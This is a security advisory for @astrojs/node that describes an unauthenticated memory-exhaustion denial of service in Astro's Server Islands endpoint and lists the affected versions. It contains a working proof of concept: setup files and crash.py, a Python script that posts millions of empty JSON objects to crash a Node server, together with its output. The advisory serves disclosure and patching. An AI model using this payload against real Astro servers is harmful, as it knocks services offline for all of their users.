Packages / @astrojs/node / Security
Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
Affected releases · @astrojs/node
- 9.x9.0.0 – 9.5.5No fix on this line yet
- 8.x and older0.0.2 – 8.3.4No fix, no longer updated
9.x has no fix yet; the newest fixed line:
npm install @astrojs/node@10.0.0Not affected
11.0.0 – 11.1.9
14 releases, latest
Affected
9.0.0 – 9.5.5
28 releases
Affected
8.0.0 – 8.3.4
14 releases
Affected
7.0.0 – 7.0.4
5 releases
Affected
6.0.0 – 6.1.0
6 releases
Affected
5.0.0 – 5.3.6
18 releases
Affected
4.0.0
1 release
Affected
3.0.0 – 3.1.1
3 releases
Affected
2.0.0 – 2.0.2
3 releases
Affected
1.0.0 – 1.1.0
3 releases
Affected
0.0.2 – 0.2.1
10 releases
Is your project affected?
Paste your package.json, or type the range you declare for @astrojs/node. It is read in your browser and sent nowhere.
What happens
Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory — no size limit const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.
Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.
The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
package.json:
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});src/pages/index.astro:
--- --- <html> <head><title>Astro App</title></head> <body> <h1>Hello</h1> <p>Just a plain SSR page. No server islands.</p> </body> </html>
Dockerfile:
FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256mReproduction:
# Build and start docker compose up -d # Verify server is running curl http://localhost:4321/ # => 200 OK
crash.py:
import requests
# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")$ python crash.py Payload: 8.6 MB Server crashed (OOM killed) $ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused $ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty — container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.